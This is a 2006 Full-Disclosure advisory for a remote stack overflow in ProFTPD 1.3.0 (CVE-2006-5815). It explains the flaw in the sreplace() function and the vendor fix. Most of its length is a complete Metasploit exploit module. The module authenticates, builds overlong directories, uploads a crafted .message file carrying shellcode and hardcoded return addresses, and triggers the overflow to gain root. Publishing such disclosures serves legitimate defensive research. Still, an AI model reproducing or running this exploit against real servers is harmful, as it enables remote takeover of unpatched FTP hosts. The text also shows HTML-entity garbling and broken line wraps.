Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15235
HistoryNov 28, 2006 - 12:00 a.m.

[Full-disclosure] ProFTPD 1.3.0 remote stack overflow

2006-11-2800:00:00
vulners.com
33

Hi all,

Our ProFTPD advisory is below.

Name: ProFTPD remote buffer overflow vulnerability
Vendor: http://www.proftpd.org
Release date: 27 Nov, 2006
URL: http://www.gleg.net/proftpd.txt
CVE: CVE-2006-5815
Author: Evgeny Legerov <research at gleg.net>

I. DESCRIPTION

A remotely exploitable stack overflow vulnerability has been found in ProFTPD
server.
The vulnerability allows a remote authenticated attacker to gain root
privileges.

II. DETAILS

The vulnerability exists in sreplace() function from src/support.c
Oversimplified analysis of the vulnerability is below:

"""
char *sreplace(pool *p, char *s, …) {
va_list args;
char *m,*r,*src = s,*cp;
char **mptr,**rptr;
char *marr[33],*rarr[33];
char buf[PR_TUNABLE_PATH_MAX] = {'\0'}, *pbuf = NULL;
size_t mlen = 0, rlen = 0, blen;
int dyn = TRUE;

cp = buf;
*cp = '\0';

memset(marr, '\0', sizeof(marr));
memset(rarr, '\0', sizeof(rarr));
blen = strlen(src) + 1;

va_start(args, s);

while ((m = va_arg(args, char *)) != NULL && mlen < sizeof(marr)-1) {
char *tmp = NULL;
size_t count = 0;

if &#40;&#40;r = va_arg&#40;args, char *&#41;&#41; == NULL&#41;
  break;

/* Increase the length of the needed buffer by the difference between
 * the given match and replacement strings, multiplied by the number
 * of times the match string occurs in the source string.
 */
tmp = strstr&#40;s, m&#41;;
while &#40;tmp&#41; {
  pr_signals_handle&#40;&#41;;
  count++;
  /* Be sure to increment the pointer returned by strstr&#40;3&#41;, to
   * advance past the beginning of the substring for which we are
   * looking.  Otherwise, we just loop endlessly, seeing the same
   * value for tmp over and over.
   */
  tmp += strlen&#40;m&#41;;
  tmp = strstr&#40;tmp, m&#41;;
}

/* We are only concerned about match/replacement strings that actually
 * occur in the given string.
 */
if &#40;count&#41; {
  blen += count * &#40;strlen&#40;r&#41; - strlen&#40;m&#41;&#41;;
  marr[mlen] = m;
  rarr[mlen++] = r;
}

}

va_end(args);

/* Try to handle large buffer situations (i.e. escaping of

  • PR_TUNABLE_PATH_MAX
    • (>2048) correctly, but do not allow very big buffer sizes, that may
    • be dangerous (BUFSIZ may be defined in stdio.h) in some library
    • functions.
      */
      #ifndef BUFSIZ

define BUFSIZ 8192

#endif
if (blen < BUFSIZ)
[1] cp = pbuf = (char *) pcalloc(p, ++blen);

if (!pbuf) {
[2] cp = pbuf = buf;
dyn = FALSE;
blen = sizeof(buf);
}

while (*src) {
for (mptr = marr, rptr = rarr; *mptr; mptr++, rptr++) {
mlen = strlen(*mptr);
rlen = strlen(*rptr);

  if &#40;strncmp&#40;src, *mptr, mlen&#41; == 0&#41; {

[3] sstrncpy(cp, *rptr, blen - strlen(pbuf));
if (((cp + rlen) - pbuf + 1) > blen) {
pr_log_pri(PR_LOG_ERR,
"WARNING: attempt to overflow internal ProFTPD buffers");
cp = pbuf + blen - 1;
goto done;

    } else {
      cp += rlen;
    }

    src += mlen;
    break;
  }
}
if &#40;!*mptr&#41; {

[4] if ((cp - pbuf + 1) > blen) {
pr_log_pri(PR_LOG_ERR,
"WARNING: attempt to overflow internal ProFTPD buffers");
cp = pbuf + blen - 1;
}
*cp++ = *src++;
}
}

done:
*cp = '\0';

if (dyn)
return pbuf;

return pstrdup(p, buf);
}
"""

First of all, the value of 'blen' is controlled by us, if we set it to a
value which less than BUFSIZ (see [1]) - we can trigger heap overflow,
otherwise
we will be able to trigger stack overflow (see [2]).

Because of miscalculation on line [4], we can overwrite last (NULL) byte of
'pbuf' - so that 'strlen(pbuf)' will be greater than 'blen'.
The code on line [3] will overwrite the 'pbuf' buffer with our data because
the 'sstrncpy' function works just nice when the third argument is negative.

At least two vectors are exist for this vulnerability:

  1. MKD command
  2. pr_display_file

The included trivial proof of concept exploit code uses the second attack
vector.
Write access is necessary for this exploit to work.

III. VENDOR RESPONSE

The vendor has released 1.3.0a version which addresses this issue.

For more info about the newest version of ProFTPD and possible workarounds
please visit:
http://www.proftpd.org
http://bugs.proftpd.org/show_bug.cgi?id=2858

IV. CREDIT

The vulnerability has been discovered by Evgeny Legerov.

V. EXPLOIT

vd_proftpd.pm - Metasploit module for ProFTPD stack overflow

Copyright (c) 2006 Evgeny Legerov

Permission to use, copy, modify, and distribute this software for any

purpose with or without fee is hereby granted, provided that the above

copyright notice and this permission notice appear in all copies.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES

WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF

MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR

ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES

WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN

ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF

OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use strict;

package Msf::Exploit::vd_proftpd;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
"Name" => "[0day] ProFTPD 1.3.0 stack overflow",
"Version" => "\$Revision: 1.1 \$",
"Authors" => ["Evgeny Legerov"],
"Arch" => ["x86"],
"OS" => ["linux"],
"Priv" => 1,
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 21],
"USER" => [1, "DATA", "Username", "ftp"],
"PASS" => [1, "DATA", "Password", "ftp123"],
"DIR" => [0, "DATA", "Writeable directory", ""],
},

	&quot;Description&quot; =&gt; Pex::Text::Freeform&#40;q{

This is a proof of concept exploit for src/support.c:sreplace stack overflow.

The off-by-one heap overflow bug in proftpd's sreplace function has been
discovered about
2 (two) years ago by Evgeny Legerov. We tried to exploit this off-by-one bug via
MKD command, but failed.
We did not work on this bug since then.

Actually, there are exists at least two bugs in sreplace function,
one is the mentioned off-by-one heap overflow bug the other is stack overflow
via 'sstrncpy(dst,src,negative argument)'.

We were unable to reach the sreplace stack overflow bug on ProFTPD 1.2.10 stable
version,
but the version 1.3.0rc3 introduced some interesting changes, among them:

  1. another (integer) overflow in sreplace!
  2. now it is possible to reach sreplace stack overflow via pr_display_file!
  3. stupid '.message' file display bug

So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
To reach the bug, you need to upload a specially created .message file to a
writeable directory,
then do "CWD <writeable directory>" to trigger the invocation of sreplace
function.

Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
file
you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.

The exploit is a part of VulnDisco Pack since Dec 2005.
}),

&quot;Payload&quot; =&gt;
    	{
            &quot;Space&quot;     =&gt; 900,
            &quot;Keys&quot;      =&gt; [&quot;+bind&quot;],
	&quot;BadChars&quot; =&gt; &quot;&#92;&#37;&#92;r&#92;n&#92;x00&quot;
      	},

    &quot;DefaultTarget&quot;  =&gt; 0,
    &quot;Targets&quot;        =&gt;
     	[
    		[&quot;ProFTPD 1.3.0 &#40;source install&#41; / Debian 3.1&quot;,
                    	# objdump -D proftpd|grep call|grep edx
                            0x804afc8,
                            # nm proftpd|grep permanent_pool
                            0x80b59f8
		]

     	],

    &quot;Keys&quot;           =&gt; [&quot;vd_proftpd&quot;],

};

sub new {
my $class = shift;
return $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
}

sub Exploit {
my $self = shift;
my $host = $self->GetVar("RHOST");
my $port = $self->GetVar("RPORT");
my $writedir = $self->GetVar("DIR");
my $bind_port = $self->GetVar("LPORT");
my $target = $self->Targets->[$self->GetVar("TARGET")];
my $encodedPayload = $self->GetVar("EncodedPayload");
my $shellcode = $encodedPayload->Payload;

  	my $sock = Msf::Socket::Tcp-&gt;new&#40;&quot;PeerAddr&quot; =&gt; $host, &quot;PeerPort&quot;  =&gt;

$port);
if ($sock->IsError) {
$self->PrintLine("Error creating socket: " . $sock->GetError);
return;
}

my $res = $sock-&gt;Recv&#40;-1, 20&#41;;
    if &#40;!$res&#41; {
            $self-&gt;PrintLine&#40;&quot;The service did not return a valid banner&quot;&#41;;
            return;
    }

$self-&gt;PrintLine&#40;&quot;Banner: &quot;. $self-&gt;CleanData&#40;$res&#41;&#41;;

    $sock-&gt;Send&#40;&quot;USER &quot;. $self-&gt;GetVar&#40;&#39;USER&#39;&#41; .&quot;&#92;r&#92;n&quot;&#41;;
    $res = $sock-&gt;Recv&#40;-1, 20&#41;;
    $self-&gt;PrintLine&#40;&quot;USER response: &quot;. $self-&gt;CleanData&#40;$res&#41;&#41;;
    if &#40;$res !~ /^331/&#41; {
            $sock-&gt;Close;
            return;
    }

    $sock-&gt;Send&#40;&quot;PASS &quot;. $self-&gt;GetVar&#40;&#39;PASS&#39;&#41; .&quot;&#92;r&#92;n&quot;&#41;;
    $res = $sock-&gt;Recv&#40;-1, 20&#41;;
    $self-&gt;PrintLine&#40;&quot;PASS response: &quot;. $self-&gt;CleanData&#40;$res&#41;&#41;;
    if &#40;$res !~ /^230/&#41; {
            $sock-&gt;Close;
            return;
    }
if &#40;length&#40;$writedir&#41; &gt; 0&#41; {
	$sock-&gt;Send&#40;&quot;CWD $writedir&#92;r&#92;n&quot;&#41;;
	$res = $sock-&gt;Recv&#40;-1, 20&#41;;
	$self-&gt;PrintLine&#40;&quot;CWD response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;
}

my $current_dir = &quot;&quot;;
$sock-&gt;Send&#40;&quot;PWD&#92;r&#92;n&quot;&#41;;
$res = $sock-&gt;Recv&#40;-1, 20&#41;;
$current_dir = $1 if &#40;$res =~ /257&#92;s&#92;&quot;&#40;.+&#41;&#92;&quot;/&#41;;
$current_dir .= &quot;/&quot; if &#40;substr&#40;$current_dir, -1, 1&#41; ne &quot;/&quot;&#41;;
$self-&gt;PrintLine&#40;&quot;Current directory: $current_dir&quot;&#41;;

my $dir1 = &quot;A&quot; x &#40;251 - length&#40;$current_dir&#41;&#41;;
    $self-&gt;PrintLine&#40;sprintf &quot;Dir1 length is &#37;d bytes&quot;, length&#40;$dir1&#41;&#41;;

$sock-&gt;Send&#40;&quot;MKD $dir1&#92;r&#92;n&quot;&#41;;
$res = $sock-&gt;Recv&#40;-1, 20&#41;;
$self-&gt;PrintLine&#40;&quot;MKD response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;

$sock-&gt;Send&#40;&quot;CWD $dir1&#92;r&#92;n&quot;&#41;;
$res = $sock-&gt;Recv&#40;-1,20&#41;;
$self-&gt;PrintLine&#40;&quot;CWD response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;

$sock-&gt;Send&#40;&quot;PWD&#92;r&#92;n&quot;&#41;;
    $res = $sock-&gt;Recv&#40;-1, 20&#41;;
$self-&gt;PrintLine&#40;&quot;PWD response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;

my $dir2  = &quot;B&quot; x 64;
    $dir2 .= pack&#40;&quot;V&quot;, $target-&gt;[1]&#41;;
    $dir2 .= pack&#40;&quot;V&quot;, $target-&gt;[2] - 4&#41;;
    $dir2 .= &quot;&#92;xcc&quot; x 28;
    $self-&gt;PrintLine&#40;sprintf &quot;Dir2 length is &#37;d bytes&quot;, length&#40;$dir2&#41;&#41;;

$sock-&gt;Send&#40;&quot;DELE &quot; . $dir2 . &quot;/.message&#92;r&#92;n&quot;&#41;;
$sock-&gt;Recv&#40;-1, 20&#41;;

$sock-&gt;Send&#40;&quot;DELE &quot; . $dir2 . &quot;/250&#92;r&#92;n&quot;&#41;;
$sock-&gt;Recv&#40;-1, 20&#41;;

$sock-&gt;Send&#40;&quot;RMD $dir2&#92;r&#92;n&quot;&#41;;
$sock-&gt;Recv&#40;-1, 20&#41;;

$sock-&gt;Send&#40;&quot;MKD $dir2&#92;r&#92;n&quot;&#41;;
$res = $sock-&gt;Recv&#40;-1, 20&#41;;
$self-&gt;PrintLine&#40;&quot;MKD response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;

# Upload .message file
$sock-&gt;Send&#40;&quot;TYPE I&#92;r&#92;n&quot;&#41;;
$sock-&gt;Recv&#40;-1, 20&#41;;

$sock-&gt;Send&#40;&quot;PASV&#92;r&#92;n&quot;&#41;;
$res = $sock-&gt;Recv&#40;-1, 20&#41;;
if &#40;$res !~ /^227/&#41; {
	$self-&gt;PrintLine&#40;&quot;Incorrect response to PASV command: &quot; .

$self->CleanData($res));
return;
}

$self-&gt;PrintLine&#40;&quot;PASV response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;
$res =~ /&#92;&#40;&#40;&#92;d+&#41;&#92;,&#40;&#92;d+&#41;,&#40;&#92;d+&#41;,&#40;&#92;d+&#41;,&#40;&#92;d+&#41;,&#40;&#92;d+&#41;/;
my $datahost = &quot;$1.$2.$3.$4&quot;;
my $dataport = &#40;int&#40;$5&#41; &lt;&lt; 8&#41; + int&#40;$6&#41;;

$self-&gt;PrintLine&#40;&quot;Opening connection to $datahost:$dataport&quot;&#41;;
   	my $datasock = Msf::Socket::Tcp-&gt;new&#40;&quot;PeerAddr&quot; =&gt; $datahost, &quot;PeerPort&quot;

=> $dataport);
if ($datasock->IsError) {
$self->PrintLine("Error creating socket: " .
$datasock->GetError);
return;
}

$sock-&gt;Send&#40;&quot;STOR $dir2/.message&#92;r&#92;n&quot;&#41;;
$res = $sock-&gt;Recv&#40;-1, 20&#41;;
$self-&gt;PrintLine&#40;&quot;STOR response: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;


 	my $filedata = &quot;&quot;;
    $filedata .= &quot;A&quot;;
    $filedata .= &quot;&#92;x66&#92;x81&#92;xc2&#92;x5e&#92;x13&#92;x52&#92;xc3&quot;; # add $0x135e, &#37;dx; push

%edx; ret
$filedata .= "\%C" x 11;
$filedata .= "A";
$filedata .= $shellcode;
$filedata .= "A" x (900 - length($shellcode));
$filedata .= "\%CA" x 10;

$datasock-&gt;Send&#40;$filedata&#41;;
$datasock-&gt;Close&#40;&#41;;

$res = $sock-&gt;Recv&#40;-1, 20&#41;;
$self-&gt;PrintLine&#40;&quot;FILE transfered: &quot; . $self-&gt;CleanData&#40;$res&#41;&#41;;

# Trigger sreplace overflow
$sock-&gt;Send&#40;&quot;CWD $dir2&#92;r&#92;n&quot;&#41;;
$sock-&gt;Recv&#40;-1,20&#41;;

sleep&#40;3&#41;;

$sock-&gt;Close&#40;&#41;;

}

sub CleanData {
my $self = shift;
my $data = shift;
$data =~ s/\r|\n//g;
return $data;
}

END

Regards,
-Evgeny Legerov
http://www.gleg.net/proftpd.txt